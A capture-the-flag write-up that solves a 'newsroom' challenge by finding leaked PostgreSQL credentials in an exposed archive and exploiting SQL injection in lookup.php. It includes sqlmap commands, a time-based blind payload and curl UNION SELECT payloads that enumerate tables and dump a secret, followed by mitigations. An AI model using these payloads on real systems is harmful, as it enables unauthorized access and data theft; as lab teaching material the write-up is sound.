Overview
The challenge presents a “newsroom” site with a secrets.zip archive and a lookup.php search endpoint that reflects the name GET parameter into results. The goal is to obtain authenticated data (the flag) by exploiting SQL injection in lookup.php.
Prerequisites / Setup
export TARGET="<challenge URL or IP>"
Commands that follow use $TARGET. When sending SQL payloads through a URL, curl -G --data-urlencode is used so quotes and spaces are percent-encoded automatically.
Recon
Step 1 — Fetch the root page
Goal: Discover the exposed secrets.zip archive and the lookup.php search endpoint.
curl -i "$TARGET/"
Interpretation: The root page links to /secrets.zip (a downloadable archive) and /lookup.php (a search form taking a name GET parameter).
Enumeration
Step 2 — Download and inspect secrets.zip
Goal: Retrieve the archive and check whether it leaks database credentials or structure.
curl "$TARGET/secrets.zip" -o secrets.zip
unzip secrets.zip
cat secrets
## Seems you can be trusted. To access our secrets
------- For your eyes only ----------
datasource db {
provider = "postgresql"
url = "postgresql://olwen:Olwen+SereneVale#2024@localhost:8032/olwendb?schema=public"
}
------- To be deleted soon --------------
Interpretation: The archive leaks PostgreSQL credentials (olwen / Olwen+SereneVale#2024) for olwendb. The localhost URL means direct remote DB access is not possible, so the injection must be exploited through the web app itself. A macOS metadata file (__MACOSX/._secrets) was also present but contained nothing useful.
Step 3 — Confirm SQL injection on lookup.php
Goal: Verify that the name parameter is reflected into results and is injectable.
curl "$TARGET/lookup.php?name=Olwen"
Interpretation: lookup.php reflects name back into the page and into a results list — a candidate injection sink.
sqlmap confirmed the injection:
sqlmap -u "$TARGET/lookup.php?name=Olwen" --dbms=postgresql --batch --dump
Key findings:
- Parameter:
name(GET) - Technique: time-based blind —
PostgreSQL > 8.1 AND time-based blind - Payload:
name=Olwen' AND 8249=(SELECT 8249 FROM PG_SLEEP(5)) AND 'luPu'='luPu - Backend: PostgreSQL, Linux Debian, PHP 8.3.35, Apache 2.4.68
- UNION injectable with 1 column
sqlmap’s automatic dump failed due to length-constraint/WAF-like filtering and intermittent 503 errors, so the remainder was done manually with curl.
Vulnerability Analysis
Exploitation
Step 4 — Confirm UNION injection and get the DB version
Goal: Verify UNION injection works and confirm the single-column output renders in the page.
curl -G "$TARGET/lookup.php" \
--data-urlencode "name=nope' UNION SELECT version()--"
PostgreSQL 15.19 on x86_64-pc-linux-musl, compiled by gcc (Alpine 15.2.0) 15.2.0, 64-bit
Interpretation: UNION injection works and the result renders directly inside <li>...</li>, so any single-column output is readable.
Step 5 — Enumerate tables
Goal: Discover table names via information_schema.
curl -G "$TARGET/lookup.php" \
--data-urlencode "name=nope' UNION SELECT table_name FROM information_schema.tables WHERE table_schema='public' LIMIT 1 OFFSET 0--"
curl -G "$TARGET/lookup.php" \
--data-urlencode "name=nope' UNION SELECT table_name FROM information_schema.tables WHERE table_schema='public' LIMIT 1 OFFSET 1--"
Result:
OFFSET 0→super_secretOFFSET 1→users
Interpretation: super_secret is the obvious target table.
Step 6 — Enumerate columns of super_secret
Goal: Discover column names in super_secret.
curl -G "$TARGET/lookup.php" \
--data-urlencode "name=nope' UNION SELECT column_name FROM information_schema.columns WHERE table_name='super_secret' LIMIT 1 OFFSET 0--"
curl -G "$TARGET/lookup.php" \
--data-urlencode "name=nope' UNION SELECT column_name FROM information_schema.columns WHERE table_name='super_secret' LIMIT 1 OFFSET 1--"
Result:
OFFSET 0→idOFFSET 1→secretOFFSET 2→ empty (end of columns)
Step 7 — Dump the flag
Goal: Read secret from super_secret.
curl -G "$TARGET/lookup.php" \
--data-urlencode "name=nope' UNION SELECT secret FROM super_secret LIMIT 1 OFFSET 0--"
<li>safctf{REDACTED}</li>
Interpretation: The flag is returned directly in the page, completing the solve.
Flag
safctf{REDACTED}
Dumped from super_secret.secret via UNION-based SQL injection on lookup.php?name.
Lessons / Takeaways
- Exposed archives (
secrets.zip) can leak credentials and backend structure — always download and inspect linked files. information_schemaenumeration lets you discover tables and columns without direct DB access.- Automated tools (sqlmap) can be blocked by rate-limiting or WAF-like filtering; manual, URL-encoded
curlpayloads are often more robust against flaky targets.
Mitigations
- Use parameterised queries / prepared statements so user input is never interpolated into SQL strings.
- Apply least-privilege database credentials to the application connection.
- Do not ship backup/archive files containing credentials inside the web root.
- Generic error messages and rate limiting reduce, but do not replace, proper input handling.
Techniques
- SQL Injection
- UNION-based SQL Injection
References
- OWASP, “SQL Injection”: https://owasp.org/www-community/attacks/sql_injection
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command: https://cwe.mitre.org/data/definitions/89.html

